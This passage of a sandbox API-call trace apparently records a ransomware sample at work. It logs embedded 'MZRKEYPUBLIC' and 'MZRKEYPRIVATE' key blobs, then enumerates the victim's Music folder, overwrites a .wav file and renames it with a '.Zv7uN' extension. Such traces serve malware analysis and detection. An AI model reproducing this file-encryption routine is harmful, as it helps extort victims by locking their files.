XUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0086.109] GetCurrentThreadId () returned 0xa30 [0086.109] GetCurrentThreadId () returned 0xa30 [0086.109] GetCurrentThreadId () returned 0xa30 [0086.110] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0086.110] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6bc7c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0086.110] GetCurrentThreadId () returned 0xa30 [0086.110] GetCurrentThreadId () returned 0xa30 [0086.110] GetCurrentThreadId () returned 0xa30 [0086.110] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\aop4xHlF.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\aop4xhlf.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0086.110] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0086.110] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0086.110] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x15a64 [0086.111] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0086.111] ReadFile (in: hFile=0x12c, lpBuffer=0x1efff40, nNumberOfBytesToRead=0x15a64, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1efff40*, lpNumberOfBytesRead=0x18f6a0*=0x15a64, lpOverlapped=0x0) returned 1 [0086.113] CloseHandle (hObject=0x12c) returned 1 [0086.115] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\aop4xHlF.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\aop4xhlf.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0086.118] WriteFile (in: hFile=0x12c, lpBuffer=0x1f15f70*, nNumberOfBytesToWrite=0x15a64, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f15f70*, lpNumberOfBytesWritten=0x18f6ac*=0x15a64, lpOverlapped=0x0) returned 1 [0086.123] CloseHandle (hObject=0x12c) returned 1 [0086.125] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\aop4xHlF.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\aop4xhlf.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\aop4xHlF.wav.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\aop4xhlf.wav.zv7un")) returned 1 [0086.126] GetCurrentThreadId () returned 0xa30 [0086.126] GetCurrentThreadId () returned 0xa30 [0086.126] GetCurrentThreadId () returned 0xa30 [0086.126] GetCurrentThreadId () returned 0xa30 [0086.126] GetCurrentThreadId () returned 0xa30 [0086.126] GetCurrentThreadId () returned 0xa30 [0086.126] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d0e9fe0, ftCreationTime.dwHighDateTime=0x1d5dbe5, ftLastAccessTime.dwLowDateTime=0xfda480b0, ftLastAccessTime.dwHighDateTime=0x1d5da6b, ftLastWriteTime.dwLowDateTime=0xfda480b0, ftLastWriteTime.dwHighDateTime=0x1d5da6b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Kg8xgQynXm64WDLJJ", cAlternateFileName="KG8XGQ~1")) returned 1 [0086.126] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac1e4780, ftCreationTime.dwHighDateTime=0x1d5dc69, ftLastAccessTime.dwLowDateTime=0xf6f1b560, ftLastAccessTime.dwHighDateTime=0x1d5e11b, ftLastWriteTime.dwLowDateTime=0xf6f1b560, ftLastWriteTime.dwHighDateTime=0x1d5e11b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="SIQNK8nZUW", cAlternateFileName="SIQNK8~1")) returned 1 [0086.126] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb90e86c0, ftCreationTime.dwHighDateTime=0x1d5e183, ftLastAccessTime.dwLowDateTime=0x302616d0, ftLastAccessTime.dwHighDateTime=0x1d5e637, ftLastWriteTime.dwLowDateTime=0x302616d0, ftLastWriteTime.dwHighDateTime=0x1d5e637, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Zyj26cHu tegBHSw1Uj", cAlternateFileName="ZYJ26C~1")) returned 1 [0086.126] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb90e86c0, ftCreationTime.dwHighDateTime=0x1d5e183, ftLastAccessTime.dwLowDateTime=0x302616d0, ftLastAccessTime.dwHighDateTime=0x1d5e637, ftLastWriteTime.dwLowDateTime=0x302616d0, ftLastWriteTime.dwHighDateTime=0x1d5e637, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Zyj26cHu tegBHSw1Uj", cAlternateFileName="ZYJ26C~1")) returned 0 [0086.127] GetLastError () returned 0x12 [0086.127] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0086.127] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f58310, ftCreationTime.dwHighDateTime=0x1d5e0eb, ftLastAccessTime.dwLowDateTime=0x51400ba0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x51400ba0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0086.127] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0086.127] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0086.127] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f58310, ftCreationTime.dwHighDateTime=0x1d5e0eb, ftLastAccessTime.dwLowDateTime=0x51400ba0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x51400ba0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0086.127] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0086.127] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0086.127] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89dac430, ftCreationTime.dwHighDateTime=0x1d5dd9c, ftLastAccessTime.dwLowDateTime=0x8680a1d0, ftLastAccessTime.dwHighDateTime=0x1d5e0bf, ftLastWriteTime.dwLowDateTime=0x513daa40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x11518, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="8Pfc9PySy8GgPZR8y43.mp3.Zv7uN", cAlternateFileName="8PFC9P~1.ZV7")) returned 1 [0086.127] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0086.127] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0086.127] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b0fcf60, ftCreationTime.dwHighDateTime=0x1d5de18, ftLastAccessTime.dwLowDateTime=0xf3b38930, ftLastAccessTime.dwHighDateTime=0x1d5daab, ftLastWriteTime.dwLowDateTime=0x51400ba0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x15a64, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="aop4xHlF.wav.Zv7uN", cAlternateFileName="AOP4XH~1.ZV7")) returned 1 [0086.128] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0086.128] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0086.128] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d0e9fe0, ftCreationTime.dwHighDateTime=0x1d5dbe5, ftLastAccessTime.dwLowDateTime=0xfda480b0, ftLastAccessTime.dwHighDateTime=0x1d5da6b, ftLastWriteTime.dwLowDateTime=0xfda480b0, ftLastWriteTime.dwHighDateTime=0x1d5da6b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Kg8xgQynXm64WDLJJ", cAlternateFileName="KG8XGQ~1")) returned 1 [0086.128] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0086.128] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0086.128] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Kg8xgQynXm64WDLJJ\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d0e9fe0, ftCreationTime.dwHighDateTime=0x1d5dbe5, ftLastAccessTime.dwLowDateTime=0xfda480b0, ftLastAccessTime.dwHighDateTime=0x1d5da6b, ftLastWriteTime.dwLowDateTime=0xfda480b0, ftLastWriteTime.dwHighDateTime=0x1d5da6b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0086.128] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d0e9fe0, ftCreationTime.dwHighDateTime=0x1d5dbe5, ftLastAccessTime.dwLowDateTime=0xfda480b0, ftLastAccessTime.dwHighDateTime=0x1d5da6b, ftLastWriteTime.dwLowDateTime=0xfda480b0, ftLastWriteTime.dwHighDateTime=0x1d5da6b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0086.128] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5073b570, ftCreationTime.dwHighDateTime=0x1d5d83e, ftLastAccessTime.dwLowDateTime=0x7adbecd0, ftLastAccessTime.dwHighDateTime=0x1d5e2e1, ftLastWriteTime.dwLowDateTime=0x7adbecd0, ftLastWriteTime.dwHighDateTime=0x1d5e2e1, nFileSizeHigh=0x0, nFileSizeLow=0x7659, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="4YEAgNEXtnhhOYR9_.wav", cAlternateFileName="4YEAGN~1.WAV")) returned 1 [0086.128] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0086.128] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0086.128] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Kg8xgQynXm64WDLJJ\\4YEAgNEXtnhhOYR9_.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\kg8xgqynxm64wdljj\\4yeagnextnhhoyr9_.wav"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5073b570, ftCreationTime.dwHighDateTime=0x1d5d83e, ftLastAccessTime.dwLowDateTime=0x7adbecd0, ftLastAccessTime.dwHighDateTime=0x1d5e2e1, ftLastWriteTime.dwLowDateTime=0x7adbecd0, ftLastWriteTime.dwHighDateTime=0x1d5e2e1, nFileSizeHigh=0x0, nFileSizeLow=0x7659)) returned 1 [0086.129] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Kg8xgQynXm64WDLJJ\\4YEAgNEXtnhhOYR9_.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\kg8xgqynxm64wdljj\\4yeagnextnhhoyr9_.wav")) returned 0x20 [0086.129] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Kg8xgQynXm64WDLJJ\\4YEAgNEXtnhhOYR9_.wav", dwFileAttributes=0x80) returned 1 [0086.130] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0086.130] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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